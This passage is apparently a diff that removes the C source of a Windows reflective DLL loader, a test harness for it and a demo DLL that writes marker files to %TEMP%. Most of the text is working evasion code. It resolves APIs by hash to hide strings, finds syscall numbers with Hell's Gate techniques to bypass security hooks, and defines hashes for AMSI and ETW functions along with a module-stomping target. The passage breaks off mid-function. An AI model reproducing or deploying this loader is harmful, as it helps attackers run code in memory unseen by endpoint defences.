printf("[!] sec[%d] out of bounds!\n", i);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
memcpy(dd, ss, sec->SizeOfRawData);
|
|
||||||
}
|
|
||||||
printf("[+] sections copied\n");
|
|
||||||
|
|
||||||
// STEP 8: apply relocations if needed
|
|
||||||
IMAGE_NT_HEADERS *dnt = (IMAGE_NT_HEADERS *)(dst + dos->e_lfanew);
|
|
||||||
LONG_PTR delta = (LONG_PTR)((uintptr_t)dst - nt->OptionalHeader.ImageBase);
|
|
||||||
printf("[*] reloc delta=0x%llx\n", (long long)delta);
|
|
||||||
{
|
|
||||||
DWORD rv = dnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
|
|
||||||
DWORD rs = dnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
|
||||||
printf("[*] reloc dir RVA=0x%lx sz=0x%lx\n", (unsigned long)rv, (unsigned long)rs);
|
|
||||||
if (delta && rv && rs)
|
|
||||||
{
|
|
||||||
IMAGE_BASE_RELOCATION *r = (IMAGE_BASE_RELOCATION *)(dst + rv);
|
|
||||||
int cnt = 0;
|
|
||||||
while (r->VirtualAddress && r->SizeOfBlock)
|
|
||||||
{
|
|
||||||
ULONG_PTR pg = (ULONG_PTR)dst + r->VirtualAddress;
|
|
||||||
WORD *e = (WORD *)((uint8_t *)r + sizeof(*r));
|
|
||||||
DWORD n = (r->SizeOfBlock - sizeof(*r)) / sizeof(WORD);
|
|
||||||
for (DWORD j = 0; j < n; j++)
|
|
||||||
{
|
|
||||||
int t = e[j] >> 12;
|
|
||||||
DWORD o = e[j] & 0xFFF;
|
|
||||||
if (t == IMAGE_REL_BASED_DIR64)
|
|
||||||
{
|
|
||||||
*(ULONG_PTR *)(pg + o) += (ULONG_PTR)delta;
|
|
||||||
cnt++;
|
|
||||||
}
|
|
||||||
if (t == IMAGE_REL_BASED_HIGHLOW)
|
|
||||||
{
|
|
||||||
*(DWORD *)(pg + o) += (DWORD)delta;
|
|
||||||
cnt++;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
r = (IMAGE_BASE_RELOCATION *)((uint8_t *)r + r->SizeOfBlock);
|
|
||||||
}
|
|
||||||
printf("[+] %d relocations applied\n", cnt);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// STEP 9: resolve imports for the mapped image
|
|
||||||
{
|
|
||||||
DWORD iv = dnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
|
|
||||||
printf("[*] import dir RVA=0x%lx\n", (unsigned long)iv);
|
|
||||||
if (iv)
|
|
||||||
{
|
|
||||||
IMAGE_IMPORT_DESCRIPTOR *imp = (IMAGE_IMPORT_DESCRIPTOR *)(dst + iv);
|
|
||||||
for (; imp->Name; imp++)
|
|
||||||
{
|
|
||||||
char *dn = (char *)(dst + imp->Name);
|
|
||||||
HMODULE h = LoadLibraryA(dn);
|
|
||||||
printf(" [%s] -> %p\n", dn, (void *)h);
|
|
||||||
if (!h)
|
|
||||||
continue;
|
|
||||||
IMAGE_THUNK_DATA *iat = (IMAGE_THUNK_DATA *)(dst + imp->FirstThunk);
|
|
||||||
IMAGE_THUNK_DATA *ont = imp->OriginalFirstThunk ? (IMAGE_THUNK_DATA *)(dst + imp->OriginalFirstThunk) : iat;
|
|
||||||
for (; ont->u1.AddressOfData; ont++, iat++)
|
|
||||||
{
|
|
||||||
FARPROC p;
|
|
||||||
if (IMAGE_SNAP_BY_ORDINAL(ont->u1.Ordinal))
|
|
||||||
p = GetProcAddress(h, (LPCSTR)IMAGE_ORDINAL(ont->u1.Ordinal));
|
|
||||||
else
|
|
||||||
{
|
|
||||||
IMAGE_IMPORT_BY_NAME *ibn = (IMAGE_IMPORT_BY_NAME *)(dst + (DWORD)ont->u1.AddressOfData);
|
|
||||||
p = GetProcAddress(h, (LPCSTR)ibn->Name);
|
|
||||||
}
|
|
||||||
iat->u1.Function = (ULONG_PTR)p;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
printf("[+] imports resolved\n");
|
|
||||||
|
|
||||||
// STEP 10: flush cache and call the DLL entry point
|
|
||||||
FlushInstructionCache(GetCurrentProcess(), dst, imgSz);
|
|
||||||
typedef BOOL(WINAPI *DllMain_t)(HINSTANCE, DWORD, LPVOID);
|
|
||||||
DllMain_t fm = (DllMain_t)(dst + dnt->OptionalHeader.AddressOfEntryPoint);
|
|
||||||
printf("[*] calling DllMain at %p (OEP RVA=0x%lx)\n", (void *)fm,
|
|
||||||
(unsigned long)dnt->OptionalHeader.AddressOfEntryPoint);
|
|
||||||
BOOL ok = fm((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL);
|
|
||||||
printf("[+] DllMain returned %d\n", (int)ok);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* verify marker */
|
|
||||||
char marker[MAX_PATH];
|
|
||||||
DWORD n=GetEnvironmentVariableA("TEMP",marker,MAX_PATH-20);
|
|
||||||
if(n){const char*s="\\reflect_demo.txt";for(int i=0;s[i];i++)marker[n++]=s[i];marker[n]=0;
|
|
||||||
if(GetFileAttributesA(marker)!=INVALID_FILE_ATTRIBUTES)printf("[+] marker: %s\n",marker);
|
|
||||||
else printf("[-] no marker file\n");}
|
|
||||||
|
|
||||||
VirtualFree(dst,0,MEM_RELEASE);
|
|
||||||
VirtualFree(mem,0,MEM_RELEASE);
|
|
||||||
HeapFree(GetProcessHeap(),0,buf);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -1,75 +0,0 @@
|
|||||||
// Minimal example DLL for reflective loading.
|
|
||||||
// Build this with reflect.c and export ReflectiveLoader.
|
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
// TLS callback — called by ReflectiveLoader BEFORE DllMain.
|
|
||||||
// Writes %TEMP%\reflect_tls.txt to prove the callback ran.
|
|
||||||
static void NTAPI tls_callback(PVOID DllHandle, DWORD reason, PVOID reserved)
|
|
||||||
{
|
|
||||||
(void)DllHandle;
|
|
||||||
(void)reserved;
|
|
||||||
if (reason != DLL_PROCESS_ATTACH)
|
|
||||||
return;
|
|
||||||
|
|
||||||
OutputDebugStringA("[reflect-dll] TLS callback DLL_PROCESS_ATTACH\n");
|
|
||||||
|
|
||||||
char path[MAX_PATH];
|
|
||||||
DWORD n = GetEnvironmentVariableA("TEMP", path, MAX_PATH - 20);
|
|
||||||
if (n && n < MAX_PATH - 20)
|
|
||||||
{
|
|
||||||
const char *suffix = "\\reflect_tls.txt";
|
|
||||||
for (int i = 0; suffix[i]; i++)
|
|
||||||
path[n++] = suffix[i];
|
|
||||||
path[n] = '\0';
|
|
||||||
HANDLE hf = CreateFileA(path, GENERIC_WRITE, 0, NULL,
|
|
||||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
||||||
if (hf != INVALID_HANDLE_VALUE)
|
|
||||||
{
|
|
||||||
const char msg[] = "TLS callback fired before DllMain\r\n";
|
|
||||||
DWORD w;
|
|
||||||
WriteFile(hf, msg, sizeof(msg) - 1, &w, NULL);
|
|
||||||
CloseHandle(hf);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static __thread volatile int _tls_anchor = 0;
|
|
||||||
__attribute__((section(".CRT$XLB"), used)) static PIMAGE_TLS_CALLBACK _tls_cb_entry = tls_callback;
|
|
||||||
|
|
||||||
__declspec(dllexport)
|
|
||||||
BOOL WINAPI
|
|
||||||
DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved)
|
|
||||||
{
|
|
||||||
(void)hInst;
|
|
||||||
(void)reserved;
|
|
||||||
|
|
||||||
// only perform actions on process attach
|
|
||||||
if (reason == DLL_PROCESS_ATTACH)
|
|
||||||
{
|
|
||||||
DisableThreadLibraryCalls(hInst);
|
|
||||||
|
|
||||||
OutputDebugStringA("[reflect-dll] DllMain DLL_PROCESS_ATTACH loaded reflectively\n");
|
|
||||||
|
|
||||||
char path[MAX_PATH];
|
|
||||||
DWORD n = GetEnvironmentVariableA("TEMP", path, MAX_PATH - 20);
|
|
||||||
if (n && n < MAX_PATH - 20)
|
|
||||||
{
|
|
||||||
const char *suffix = "\\reflect_demo.txt";
|
|
||||||
for (int i = 0; suffix[i]; i++)
|
|
||||||
path[n++] = suffix[i];
|
|
||||||
path[n] = '\0';
|
|
||||||
|
|
||||||
HANDLE hf = CreateFileA(path, GENERIC_WRITE, 0, NULL,
|
|
||||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
||||||
if (hf != INVALID_HANDLE_VALUE)
|
|
||||||
{
|
|
||||||
const char msg[] = "Reflective DLL loaded via ReflectiveLoader()\r\n";
|
|
||||||
DWORD written;
|
|
||||||
WriteFile(hf, msg, sizeof(msg) - 1, &written, NULL);
|
|
||||||
CloseHandle(hf);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
@@ -1,520 +0,0 @@
|
|||||||
#include "reflect.h"
|
|
||||||
#include <windows.h>
|
|
||||||
#include <winternl.h>
|
|
||||||
#include <intrin.h>
|
|
||||||
#include <stdint.h>
|
|
||||||
|
|
||||||
// forward decl to silence MinGW warning
|
|
||||||
BOOL WINAPI DllMain(HINSTANCE, DWORD, LPVOID);
|
|
||||||
|
|
||||||
// PEB/LDR structs
|
|
||||||
|
|
||||||
typedef struct _RL_LDR_ENTRY {
|
|
||||||
LIST_ENTRY InLoadOrderLinks;
|
|
||||||
LIST_ENTRY InMemoryOrderLinks;
|
|
||||||
LIST_ENTRY InInitializationOrderLinks;
|
|
||||||
PVOID DllBase;
|
|
||||||
PVOID EntryPoint;
|
|
||||||
ULONG SizeOfImage;
|
|
||||||
UNICODE_STRING FullDllName;
|
|
||||||
UNICODE_STRING BaseDllName;
|
|
||||||
} RL_LDR_ENTRY;
|
|
||||||
|
|
||||||
typedef struct _RL_PEB_LDR {
|
|
||||||
ULONG Length;
|
|
||||||
BOOLEAN Initialized;
|
|
||||||
PVOID SsHandle;
|
|
||||||
LIST_ENTRY InLoadOrderModuleList;
|
|
||||||
LIST_ENTRY InMemoryOrderModuleList;
|
|
||||||
} RL_PEB_LDR;
|
|
||||||
|
|
||||||
typedef struct _RL_PEB {
|
|
||||||
BYTE Reserved[2];
|
|
||||||
BYTE BeingDebugged;
|
|
||||||
BYTE Reserved2[1];
|
|
||||||
PVOID Reserved3[2];
|
|
||||||
RL_PEB_LDR *Ldr;
|
|
||||||
} RL_PEB;
|
|
||||||
|
|
||||||
// fn pointer typedefs
|
|
||||||
|
|
||||||
typedef HMODULE (WINAPI *pLoadLibraryA_t) (LPCSTR);
|
|
||||||
typedef HMODULE (WINAPI *pLoadLibraryExA_t) (LPCSTR, HANDLE, DWORD);
|
|
||||||
typedef FARPROC (WINAPI *pGetProcAddress_t) (HMODULE, LPCSTR);
|
|
||||||
typedef LPVOID (WINAPI *pVirtualAlloc_t) (LPVOID, SIZE_T, DWORD, DWORD);
|
|
||||||
typedef BOOL (WINAPI *pVirtualProtect_t) (LPVOID, SIZE_T, DWORD, PDWORD);
|
|
||||||
typedef BOOL (WINAPI *pFlushInstructionCache_t) (HANDLE, LPCVOID, SIZE_T);
|
|
||||||
typedef HANDLE (WINAPI *pGetCurrentProcess_t) (void);
|
|
||||||
typedef BOOL (WINAPI *pDllMain_t) (HINSTANCE, DWORD, LPVOID);
|
|
||||||
typedef LONG (WINAPI *pNtAllocVm_t) (HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
|
|
||||||
typedef LONG (WINAPI *pNtProtectVm_t) (HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
|
|
||||||
typedef BOOLEAN (WINAPI *pRtlAddFunctionTable_t) (PRUNTIME_FUNCTION, DWORD, DWORD64);
|
|
||||||
|
|
||||||
// ROR13+additive hashes - generated by tools/gen_hashes.py
|
|
||||||
// kernel32
|
|
||||||
#define H_LoadLibraryA 0x8A8B4676UL
|
|
||||||
#define H_LoadLibraryExA 0xA5919EE3UL
|
|
||||||
#define H_GetProcAddress 0x1ACAEE7AUL
|
|
||||||
#define H_VirtualAlloc 0x302EBE1CUL
|
|
||||||
#define H_FlushInstructionCache 0xD9303A47UL
|
|
||||||
#define H_GetCurrentProcess 0x1A4B89AAUL
|
|
||||||
// ntdll
|
|
||||||
#define H_NtAllocateVirtualMemory 0x5947FD91UL
|
|
||||||
#define H_NtProtectVirtualMemory 0x1255C05BUL
|
|
||||||
#define H_RtlAddFunctionTable 0xB11A8928UL
|
|
||||||
#define H_EtwEventWrite 0xBE87B7B5UL
|
|
||||||
// amsi.dll
|
|
||||||
#define H_AmsiScanBuffer 0x338E06F6UL
|
|
||||||
|
|
||||||
// stomp target - must have SizeOfImage >= ours
|
|
||||||
#define STOMP_DLL "C:\\Windows\\System32\\clbcatq.dll"
|
|
||||||
|
|
||||||
// debug telemetry, exported
|
|
||||||
typedef struct { WORD ssn_alloc; WORD ssn_protect; DWORD alloc_method; } RL_DBG;
|
|
||||||
#define RL_DBG_HELLSGATE 1u
|
|
||||||
#define RL_DBG_VIRTALLOC 2u
|
|
||||||
__declspec(dllexport) volatile RL_DBG _rl_dbg = {0xFFFF, 0xFFFF, 0};
|
|
||||||
|
|
||||||
// ROR13+additive hash, input uppercased
|
|
||||||
static DWORD _rl_hash(const char *s)
|
|
||||||
{
|
|
||||||
DWORD h = 0;
|
|
||||||
while (*s) {
|
|
||||||
unsigned char c = (unsigned char)*s++;
|
|
||||||
if (c >= 'a') c -= 0x20;
|
|
||||||
h = (h >> 13) | (h << 19); // ROR13
|
|
||||||
h += c;
|
|
||||||
}
|
|
||||||
return h;
|
|
||||||
}
|
|
||||||
|
|
||||||
// wide vs narrow case-insensitive compare, up to 12 chars
|
|
||||||
static int _rl_weq12(const WCHAR *w, const char *s)
|
|
||||||
{
|
|
||||||
for (int i = 0; i < 12; i++) {
|
|
||||||
if (!w[i] && !s[i]) return 1;
|
|
||||||
if (!w[i] || !s[i]) return 0;
|
|
||||||
if ((w[i] | 0x20) != ((unsigned char)s[i] | 0x20)) return 0;
|
|
||||||
}
|
|
||||||
return 1; // full 12-char match (e.g. "kernel32.dll")
|
|
||||||
}
|
|
||||||
|
|
||||||
// walk PEB module list, return kernel32 base
|
|
||||||
static ULONG_PTR _rl_find_kernel32(void)
|
|
||||||
{
|
|
||||||
#ifdef _WIN64
|
|
||||||
RL_PEB *peb = (RL_PEB *)__readgsqword(0x60);
|
|
||||||
#else
|
|
||||||
RL_PEB *peb = (RL_PEB *)__readfsdword(0x30);
|
|
||||||
#endif
|
|
||||||
PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
|
|
||||||
PLIST_ENTRY cur = head->Flink;
|
|
||||||
while (cur != head) {
|
|
||||||
RL_LDR_ENTRY *e = CONTAINING_RECORD(cur, RL_LDR_ENTRY, InMemoryOrderLinks);
|
|
||||||
if (e->BaseDllName.Length >= 24 && _rl_weq12(e->BaseDllName.Buffer, "kernel32.dll"))
|
|
||||||
return (ULONG_PTR)e->DllBase;
|
|
||||||
cur = cur->Flink;
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
// walk PEB module list, return ntdll base
|
|
||||||
static ULONG_PTR _rl_find_ntdll(void)
|
|
||||||
{
|
|
||||||
#ifdef _WIN64
|
|
||||||
RL_PEB *peb = (RL_PEB *)__readgsqword(0x60);
|
|
||||||
#else
|
|
||||||
RL_PEB *peb = (RL_PEB *)__readfsdword(0x30);
|
|
||||||
#endif
|
|
||||||
PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
|
|
||||||
PLIST_ENTRY cur = head->Flink;
|
|
||||||
while (cur != head) {
|
|
||||||
RL_LDR_ENTRY *e = CONTAINING_RECORD(cur, RL_LDR_ENTRY, InMemoryOrderLinks);
|
|
||||||
if (e->BaseDllName.Length >= 18 && _rl_weq12(e->BaseDllName.Buffer, "ntdll.dll\0\0\0"))
|
|
||||||
return (ULONG_PTR)e->DllBase;
|
|
||||||
cur = cur->Flink;
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
// EAT walk by hash - ignores forwarded exports
|
|
||||||
static ULONG_PTR _rl_get_proc_h(ULONG_PTR mod, DWORD hash)
|
|
||||||
{
|
|
||||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)mod;
|
|
||||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(mod + dos->e_lfanew);
|
|
||||||
DWORD expRva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
|
||||||
DWORD expSz = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
|
|
||||||
if (!expRva) return 0;
|
|
||||||
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(mod + expRva);
|
|
||||||
DWORD *names = (DWORD *)(mod + exp->AddressOfNames);
|
|
||||||
WORD *ords = (WORD *)(mod + exp->AddressOfNameOrdinals);
|
|
||||||
DWORD *funcs = (DWORD *)(mod + exp->AddressOfFunctions);
|
|
||||||
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
|
|
||||||
if (_rl_hash((char *)(mod + names[i])) == hash) {
|
|
||||||
DWORD fnRva = funcs[ords[i]];
|
|
||||||
if (fnRva >= expRva && fnRva < expRva + expSz) return 0; // forwarded, skip
|
|
||||||
return mod + fnRva;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
// get SSN from ntdll stub (Hell's Gate / Halos Gate / Tartarus Gate)
|
|
||||||
static WORD _rl_ssn(ULONG_PTR ntdll, DWORD hash)
|
|
||||||
{
|
|
||||||
ULONG_PTR stub = _rl_get_proc_h(ntdll, hash);
|
|
||||||
if (!stub) return 0xFFFF;
|
|
||||||
uint8_t *p = (uint8_t *)stub;
|
|
||||||
|
|
||||||
// clean stub - read SSN from bytes 4-5
|
|
||||||
if (p[0]==0x4C && p[1]==0x8B && p[2]==0xD1 && p[3]==0xB8 && p[6]==0x00 && p[7]==0x00)
|
|
||||||
return *(WORD *)(p + 4);
|
|
||||||
|
|
||||||
// hooked - find real stub stride by scanning backward
|
|
||||||
int stride = 0;
|
|
||||||
for (int s = 1; s <= 256 && !stride; s++) {
|
|
||||||
uint8_t *q = p - s;
|
|
||||||
if (q[0]==0x4C && q[1]==0x8B && q[2]==0xD1 && q[3]==0xB8 && q[6]==0x00 && q[7]==0x00)
|
|
||||||
stride = s;
|
|
||||||
}
|
|
||||||
if (!stride) {
|
|
||||||
for (int s = 1; s <= 256 && !stride; s++) {
|
|
||||||
uint8_t *q = p + s;
|
|
||||||
if (q[0]==0x4C && q[1]==0x8B && q[2]==0xD1 && q[3]==0xB8 && q[6]==0x00 && q[7]==0x00)
|
|
||||||
stride = s;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (!stride) stride = 32; // typical Win10/11 stub size
|
|
||||||
|
|
||||||
for (int d = 1; d <= 32; d++) {
|
|
||||||
uint8_t *n = p + d * stride;
|
|
||||||
if (n[0]==0x4C && n[1]==0x8B && n[2]==0xD1 && n[3]==0xB8 && n[6]==0x00 && n[7]==0x00)
|
|
||||||
return (WORD)(*(WORD *)(n + 4) - (WORD)d);
|
|
||||||
n = p - d * stride;
|
|
||||||
if (n[0]==0x4C && n[1]==0x8B && n[2]==0xD1 && n[3]==0xB8 && n[6]==0x00 && n[7]==0x00)
|
|
||||||
return (WORD)(*(WORD *)(n + 4) + (WORD)d);
|
|
||||||
}
|
|
||||||
return 0xFFFF;
|
|
||||||
}
|
|
||||||
|
|
||||||
// must be in .data not .bss (no raw bytes on disk)
|
|
||||||
static volatile WORD _hg_ssn = 0xFFFF;
|
|
||||||
|
|
||||||
// set _hg_ssn before calling
|
|
||||||
__attribute__((naked))
|
|
||||||
static NTSTATUS _rl_hg_call(void)
|
|
||||||
{
|
|
||||||
__asm__(
|
|
||||||
"movzwl _hg_ssn(%rip), %eax\n\t"
|
|
||||||
"movq %rcx, %r10\n\t"
|
|
||||||
"syscall\n\t"
|
|
||||||
"ret\n\t"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// scan backward from own RIP to find the MZ header of the raw DLL in memory
|
|
||||||
static ULONG_PTR _rl_find_own_base(void)
|
|
||||||
{
|
|
||||||
ULONG_PTR ip = (ULONG_PTR)_rl_find_own_base & ~0xFFFUL;
|
|
||||||
for (int i = 0; i < 4096; i++, ip -= 0x1000) {
|
|
||||||
if (*(WORD *)ip != IMAGE_DOS_SIGNATURE) continue;
|
|
||||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ip;
|
|
||||||
if ((ULONG_PTR)dos->e_lfanew > 0x400) continue;
|
|
||||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(ip + dos->e_lfanew);
|
|
||||||
if (nt->Signature == IMAGE_NT_SIGNATURE && nt->OptionalHeader.SizeOfImage > 0)
|
|
||||||
return ip;
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
__declspec(dllexport)
|
|
||||||
ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
|
|
||||||
{
|
|
||||||
(void)lpParameter;
|
|
||||||
|
|
||||||
// 1. find kernel32 + ntdll via PEB walk
|
|
||||||
ULONG_PTR k32 = _rl_find_kernel32();
|
|
||||||
ULONG_PTR ntdll = _rl_find_ntdll();
|
|
||||||
if (!k32 || !ntdll) return 0;
|
|
||||||
|
|
||||||
// 2. resolve APIs by hash - no plaintext strings
|
|
||||||
pLoadLibraryA_t fLLA = (pLoadLibraryA_t) _rl_get_proc_h(k32, H_LoadLibraryA);
|
|
||||||
pLoadLibraryExA_t fLLEA = (pLoadLibraryExA_t) _rl_get_proc_h(k32, H_LoadLibraryExA);
|
|
||||||
pGetProcAddress_t fGPA = (pGetProcAddress_t) _rl_get_proc_h(k32, H_GetProcAddress);
|
|
||||||
pVirtualAlloc_t fVA = (pVirtualAlloc_t) _rl_get_proc_h(k32, H_VirtualAlloc);
|
|
||||||
pFlushInstructionCache_t fFIC = (pFlushInstructionCache_t) _rl_get_proc_h(k32, H_FlushInstructionCache);
|
|
||||||
pGetCurrentProcess_t fGCP = (pGetCurrentProcess_t) _rl_get_proc_h(k32, H_GetCurrentProcess);
|
|
||||||
pRtlAddFunctionTable_t fRAFT = (pRtlAddFunctionTable_t) _rl_get_proc_h(ntdll, H_RtlAddFunctionTable);
|
|
||||||
|
|
||||||
if (!fLLA || !fGPA || !fVA) return 0;
|
|
||||||
|
|
||||||
// VirtualProtect is forwarded, EAT returns a string not a pointer
|
|
||||||
pVirtualProtect_t fVP = (pVirtualProtect_t)fGPA((HMODULE)k32, "VirtualProtect");
|
|
||||||
|
|
||||||
// 3. get syscall numbers for NtAllocate/NtProtect (bypasses ntdll hooks)
|
|
||||||
WORD ssn_alloc = _rl_ssn(ntdll, H_NtAllocateVirtualMemory);
|
|
||||||
WORD ssn_protect = _rl_ssn(ntdll, H_NtProtectVirtualMemory);
|
|
||||||
// save for telemetry
|
|
||||||
_rl_dbg.ssn_alloc = ssn_alloc;
|
|
||||||
_rl_dbg.ssn_protect = ssn_protect;
|
|
||||||
|
|
||||||
// 4. locate raw PE
|
|
||||||
ULONG_PTR src = lpParameter ? (ULONG_PTR)lpParameter : _rl_find_own_base();
|
|
||||||
if (!src) return 0;
|
|
||||||
|
|
||||||
PIMAGE_DOS_HEADER srcDos = (PIMAGE_DOS_HEADER)src;
|
|
||||||
PIMAGE_NT_HEADERS srcNt = (PIMAGE_NT_HEADERS)(src + srcDos->e_lfanew);
|
|
||||||
DWORD imgSz = srcNt->OptionalHeader.SizeOfImage;
|
|
||||||
DWORD hdrSz = srcNt->OptionalHeader.SizeOfHeaders;
|
|
||||||
|
|
||||||
// 5. allocate dst - priority: module stomp > NtAllocate syscall > VirtualAlloc
|
|
||||||
ULONG_PTR dst = 0;
|
|
||||||
|
|
||||||
// (a) module stomping - disabled
|
|
||||||
// LoadLibraryExA(DONT_RESOLVE_DLL_REFERENCES) calls DllMain on Win10+ and hangs.
|
|
||||||
// Needs NtCreateSection + NtMapViewOfSection for a proper implementation.
|
|
||||||
(void)fLLEA;
|
|
||||||
|
|
||||||
// (b) NtAllocateVirtualMemory syscall, try preferred base first
|
|
||||||
if (!dst && ssn_alloc != 0xFFFF) {
|
|
||||||
SIZE_T sz = (SIZE_T)imgSz;
|
|
||||||
PVOID base = (PVOID)srcNt->OptionalHeader.ImageBase;
|
|
||||||
_hg_ssn = ssn_alloc;
|
|
||||||
if (((pNtAllocVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &base, 0, &sz,
|
|
||||||
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) == 0)
|
|
||||||
dst = (ULONG_PTR)base;
|
|
||||||
if (!dst) {
|
|
||||||
base = NULL; sz = (SIZE_T)imgSz;
|
|
||||||
_hg_ssn = ssn_alloc;
|
|
||||||
if (((pNtAllocVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &base, 0, &sz,
|
|
||||||
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) == 0)
|
|
||||||
dst = (ULONG_PTR)base;
|
|
||||||
}
|
|
||||||
if (dst) _rl_dbg.alloc_method = RL_DBG_HELLSGATE;
|
|
||||||
}
|
|
||||||
|
|
||||||
// (c) VirtualAlloc - plain fallback
|
|
||||||
if (!dst)
|
|
||||||
dst = (ULONG_PTR)fVA((LPVOID)srcNt->OptionalHeader.ImageBase,
|
|
||||||
imgSz, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
||||||
if (!dst)
|
|
||||||
dst = (ULONG_PTR)fVA(NULL, imgSz, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
||||||
if (!dst) return 0;
|
|
||||||
if (!_rl_dbg.alloc_method) _rl_dbg.alloc_method = RL_DBG_VIRTALLOC;
|
|
||||||
|
|
||||||
// 6. copy headers
|
|
||||||
{ uint8_t *s=(uint8_t*)src, *d=(uint8_t*)dst; for(DWORD i=0;i<hdrSz;i++) d[i]=s[i]; }
|
|
||||||
|
|
||||||
// 7. copy sections
|
|
||||||
{
|
|
||||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(srcNt);
|
|
||||||
for (WORD i = 0; i < srcNt->FileHeader.NumberOfSections; i++, sec++) {
|
|
||||||
if (!sec->PointerToRawData || !sec->SizeOfRawData) continue;
|
|
||||||
uint8_t *ss = (uint8_t *)(src + sec->PointerToRawData);
|
|
||||||
uint8_t *sd = (uint8_t *)(dst + sec->VirtualAddress);
|
|
||||||
for (DWORD j = 0; j < sec->SizeOfRawData; j++) sd[j] = ss[j];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
PIMAGE_NT_HEADERS dstNt = (PIMAGE_NT_HEADERS)(dst + ((PIMAGE_DOS_HEADER)dst)->e_lfanew);
|
|
||||||
LONG_PTR delta = (LONG_PTR)(dst - srcNt->OptionalHeader.ImageBase);
|
|
||||||
|
|
||||||
// 8. base relocations
|
|
||||||
{
|
|
||||||
DWORD relRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
|
|
||||||
DWORD relSz = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
|
||||||
if (delta && relRva && relSz) {
|
|
||||||
PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(dst + relRva);
|
|
||||||
while (reloc->VirtualAddress && reloc->SizeOfBlock) {
|
|
||||||
ULONG_PTR page = dst + reloc->VirtualAddress;
|
|
||||||
WORD *entry = (WORD *)((uint8_t *)reloc + sizeof(IMAGE_BASE_RELOCATION));
|
|
||||||
DWORD cnt = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
|
||||||
for (DWORD i = 0; i < cnt; i++) {
|
|
||||||
int type = entry[i] >> 12;
|
|
||||||
DWORD off = entry[i] & 0x0FFF;
|
|
||||||
#ifdef _WIN64
|
|
||||||
if (type == IMAGE_REL_BASED_DIR64) *(ULONG_PTR *)(page+off) += (ULONG_PTR)delta;
|
|
||||||
#endif
|
|
||||||
if (type == IMAGE_REL_BASED_HIGHLOW) *(DWORD *)(page+off) += (DWORD)delta;
|
|
||||||
}
|
|
||||||
reloc = (PIMAGE_BASE_RELOCATION)((uint8_t *)reloc + reloc->SizeOfBlock);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 9. imports
|
|
||||||
{
|
|
||||||
DWORD impRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
|
|
||||||
if (impRva) {
|
|
||||||
PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)(dst + impRva);
|
|
||||||
for (; imp->Name; imp++) {
|
|
||||||
HMODULE hLib = fLLA((char *)(dst + imp->Name));
|
|
||||||
if (!hLib) continue;
|
|
||||||
IMAGE_THUNK_DATA *iat = (IMAGE_THUNK_DATA *)(dst + imp->FirstThunk);
|
|
||||||
IMAGE_THUNK_DATA *ont = imp->OriginalFirstThunk
|
|
||||||
